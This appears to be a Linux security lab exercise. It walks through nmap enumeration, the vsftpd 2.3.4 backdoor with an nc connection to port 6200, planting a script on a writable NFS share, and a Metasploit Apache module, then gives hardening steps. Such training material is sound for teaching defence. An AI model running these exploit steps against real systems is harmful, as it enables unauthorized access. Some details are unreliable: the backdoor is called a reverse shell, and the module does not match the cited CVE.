Exercise 10: Exploiting Vulnerable Services (RHEL/CentOS)

Objective: Learn how to exploit misconfigured or vulnerable services running on a Linux system and understand how to harden these services to mitigate security risks.

Scenario: You are tasked with assessing a RHEL/CentOS system for vulnerable services that could be exploited to escalate privileges or gain unauthorized access. The system has multiple services running, some of which may be misconfigured or outdated. Your goal is to identify and exploit these vulnerabilities and then secure the system to prevent future exploitation.

Lab Setup

1. Environment:
   • A RHEL or CentOS system with services such as NFS, vsftpd, or Apache running.
2. Tools Required:
   • nmap
   • netstat
   • Exploit code or scripts for identified CVEs.

Lab Steps

Step 1: Enumerate Open and Vulnerable Services

Scan the target system using nmap to identify open ports and running services:

nmap -sV -p- <target_ip>

-sV: Detect service versions.

-p-: Scan all 65,535 ports.

Analyze the results to identify potentially vulnerable services.

Example output:

21/tcp open  ftp     vsftpd 2.3.4
80/tcp open  http    Apache httpd 2.2.15
2049/tcp open  nfs    2-4 (RPC)

Use netstat to list active network connections and services:

netstat -tuln

Example output:

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21             0.0.0.0:*               LISTEN

Step 2: Research Vulnerabilities

1. Search for known CVEs related to the identified services:
   • Use databases like CVE Details or Exploit-DB.
   • Example CVE:
     • CVE-2011-2523 for vsftpd 2.3.4 (backdoor vulnerability).
2. Document the vulnerabilities and identify appropriate exploits.

Step 3: Exploit a Vulnerable Service

Exploit vsftpd 2.3.4 (Example):

Connect to the FTP server using a malicious username:

ftp <target_ip>

Username:

:)

If successful, this spawns a reverse shell on port 6200.

Use nc to connect to the shell:

nc <target_ip> 6200

Exploit NFS Misconfiguration:

Check exported directories:

showmount -e <target_ip>

Mount a writable share:

mount -t nfs <target_ip>:/export /mnt

Place a malicious script in the share and execute it on the target system.

Exploit Apache:

Check for vulnerabilities like directory traversal or remote code execution (e.g., CVE-2010-0425).

Use tools like Metasploit to exploit known issues:

msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOST <target_ip>
set RPORT 80
exploit

Step 4: Harden Services

Disable Unnecessary Services:

List all enabled services:

systemctl list-unit-files --type=service

Disable unused services:

sudo systemctl disable <service_name>

Update and Patch Services:

Update software packages to their latest versions:

sudo yum update -y

Confirm the updated versions are no longer vulnerable.

Configure Firewall Rules:

Restrict access to services by modifying firewall rules:

sudo firewall-cmd --zone=public --remove-port=21/tcp --permanent 

sudo firewall-cmd --reload

Secure Configurations:

For FTP:

Disable anonymous login in /etc/vsftpd/vsftpd.conf:

anonymous_enable=NO

For NFS:

Restrict exports to specific IPs in /etc/exports.

For Apache:

Disable unnecessary modules and enable HTTPS.

Solution

Explanation:

• Misconfigured or outdated services can be exploited to gain unauthorized access or escalate privileges. This lab demonstrated the process of identifying and exploiting such vulnerabilities.

Prevention:

1. Regularly scan for open ports and services.
2. Apply updates and patches promptly.
3. Disable unnecessary services and configure firewalls to restrict access.
4. Implement least privilege for users and processes accessing critical services.

Testing and Verification

1. Re-run nmap and netstat to ensure unnecessary services are disabled and patches are applied.
2. Test exploit techniques again to confirm they are no longer effective.
3. Document all findings and remediation steps.

Reflection

This exercise demonstrated the importance of securing services on Linux systems and provided practical steps for identifying, exploiting, and mitigating vulnerabilities. By completing this lab, you’ve gained valuable insights into service-level security in RHEL/CentOS environments.